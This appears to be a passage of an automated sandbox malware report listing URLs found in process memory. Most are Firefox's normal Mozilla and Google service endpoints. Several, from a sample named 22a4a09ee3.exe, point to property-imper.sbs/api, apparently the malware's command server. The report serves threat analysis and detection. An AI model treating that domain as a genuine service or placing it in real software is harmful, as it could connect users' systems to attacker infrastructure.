Source: firefox.exe, 0000001A.00000002.2920935339.000001F5D7797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2933620276.000001F5D8F2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2902855441.000001F5D597D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783930900.000001F5D8F1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784354552.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783358130.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/mod
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5354000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2898015922.000001F5C9BD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2875199555.0000014CC8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775B86000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestNot
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2920935339.000001F5D77B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948051359.000001F5D942B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://monitor.firefox.combrowser.tabs.drawInTitlebarhttps://support.mozilla.orgcreateContentPrinci
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001A.00000002.2920935339.000001F5D7797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2933620276.000001F5D8F2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783930900.000001F5D8F1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784354552.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783358130.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%ssetSlowScriptDebugHandler/debugService.remote
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783930900.000001F5D8F1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784354552.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783358130.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s_injectDefaultProtocolHandlersIfNeededresource://gre/modules/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler.preferredAction
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5354000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001A.00000002.2920935339.000001F5D7740000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com/
Source: 22a4a09ee3.exe, 00000009.00000003.2787610271.00000000058CC000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2725786530.00000000058CC000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2666960609.0000000001132000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2720930787.00000000058CC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/
Source: 22a4a09ee3.exe, 00000009.00000003.2669457783.000000000111C000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2641540029.000000000111A000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2666933055.000000000111A000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2695267530.000000000111E000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2739667389.0000000001132000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2870953209.0000000001133000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2895207974.0000000001607000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2753258995.00000000015EC000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766501886.00000000015EF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/api
Source: 22a4a09ee3.exe, 00000009.00000003.2870953209.0000000001133000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/apiD
Source: 22a4a09ee3.exe, 0000000B.00000003.2920151501.00000000015FC000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2920073610.00000000015F4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/apiX
Source: 22a4a09ee3.exe, 00000009.00000003.2641540029.000000000111A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/apio0
Source: 22a4a09ee3.exe, 00000009.00000003.2739667389.0000000001132000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://property-imper.sbs/apiw
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2920935339.000001F5D77B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948051359.000001F5D942B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001A.00000002.2955392353.000001F5D9990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2769996475.000001F5D9500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777223406.000001F5D971F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778516535.000001F5D975A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/Wikip
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/shims/google-safeframe.html
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA838000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA838000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3007478563.000001F5E357B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775B12000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/jar:file:///C:/Program%20Files/Mozilla%20Firefox/browser/features/webcom
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 0000001A.00000002.3007478563.000001F5E3513000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA90B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA8D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsresource://gre/modules/PrivateBrowsingUtils.sys.mjs
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA905000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA87D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA8AA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel#onFormHistoryAutoCompleteSearchAsync/formHistor
Source: 22a4a09ee3.exe, 00000009.00000003.2615858798.0000000005922000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2767599531.0000000005E1E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.microsof
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2920935339.000001F5D77B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948051359.000001F5D942B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
